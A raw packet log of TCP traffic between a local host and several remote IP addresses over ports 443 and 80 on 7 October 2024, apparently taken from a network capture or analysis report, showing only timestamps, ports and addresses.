Oct 7, 2024 18:43:16.815485954 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.815501928 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.841952085 CEST	443	49698	104.98.116.138	192.168.2.7
Oct 7, 2024 18:43:16.842073917 CEST	49698	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:17.133928061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.138937950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.153639078 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.153681993 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.153784990 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.176965952 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.177005053 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.177098989 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.300472975 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.300499916 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.301750898 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.301800966 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.301959038 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.302079916 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.302087069 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.302784920 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.302818060 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.302881956 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.303004980 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.303020000 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.303247929 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.303271055 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.308093071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308118105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308132887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308150053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308161974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308171988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308172941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.308182955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308195114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308202028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.308207035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308218956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308228970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308238983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.308247089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.308264971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.308288097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309575081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309595108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309603930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309614897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309624910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309632063 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309654951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309685946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309709072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309750080 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309899092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309911013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309921026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309931993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309941053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309951067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309953928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309962988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.309982061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.309995890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310131073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310148001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310158014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310168028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310178041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310188055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310198069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310206890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310216904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310220957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310226917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310240984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310256004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310282946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310436964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310446978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310462952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310492039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310497046 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310504913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310507059 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310516119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310527086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310535908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310539007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310547113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.310569048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.310581923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311122894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311134100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311145067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311197042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311225891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311237097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311248064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311259985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311269045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311279058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311284065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311321974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311331034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311387062 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311630011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311647892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311657906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311685085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311696053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311847925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311918020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311922073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311932087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311955929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311966896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311975956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.311983109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.311990023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312005997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312033892 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312149048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312160015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312170982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312180042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312190056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312206030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312216997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312227011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312237978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312239885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312251091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312252998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312263012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312273979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312274933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312300920 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312325001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312676907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312689066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312700033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312711000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312731028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312757015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312760115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312772036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312782049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312793016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312804937 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312809944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312817097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312824965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312835932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312846899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312846899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312856913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312869072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312879086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312886953 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312896967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312922001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.312935114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312947035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312958002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312967062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.312978029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313005924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313028097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313059092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313071012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313102961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313113928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313123941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313136101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313148022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313170910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313560009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313572884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313584089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313631058 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313708067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313719034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313730001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313740015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313756943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313766956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313776970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313787937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313786983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313798904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313810110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313811064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313821077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313832998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313848972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313860893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313870907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313872099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.313870907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313870907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.313911915 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.393213987 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.393239021 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.393316984 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.437391043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437407970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437417984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437467098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437519073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437532902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437542915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437551975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437560081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437568903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437577963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437580109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437601089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437618971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437911987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437921047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437931061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437949896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437954903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437959909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437969923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.437972069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.437995911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.438019991 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439485073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439496994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439507008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439534903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439546108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439555883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439567089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439568043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439579010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439589977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439598083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439625978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439637899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439781904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439821005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439829111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439840078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439868927 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439879894 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439919949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439930916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439940929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439949989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439959049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439963102 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.439970970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.439989090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440037966 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440232992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440243006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440253019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440260887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440269947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440280914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440280914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440290928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440300941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440304995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440310955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440324068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440326929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440337896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440344095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440347910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440360069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440367937 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440370083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440382004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.440392971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440407038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.440433025 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441417933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441430092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441447020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441468954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441488028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441555023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441565990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441576958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441587925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441598892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441601992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441620111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441637993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441885948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441896915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441906929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441924095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441930056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441936970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.441961050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441972017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.441979885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442002058 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442028046 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442215919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442228079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442238092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442248106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442257881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442260027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442270041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442275047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442281008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442291021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442301035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442307949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442312002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442322969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442328930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442333937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442342997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442343950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442356110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442367077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442374945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442380905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442392111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442400932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442416906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442441940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442900896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442944050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.442961931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.442971945 CEST	80	49699	46.8.231.109	192.168.2.7
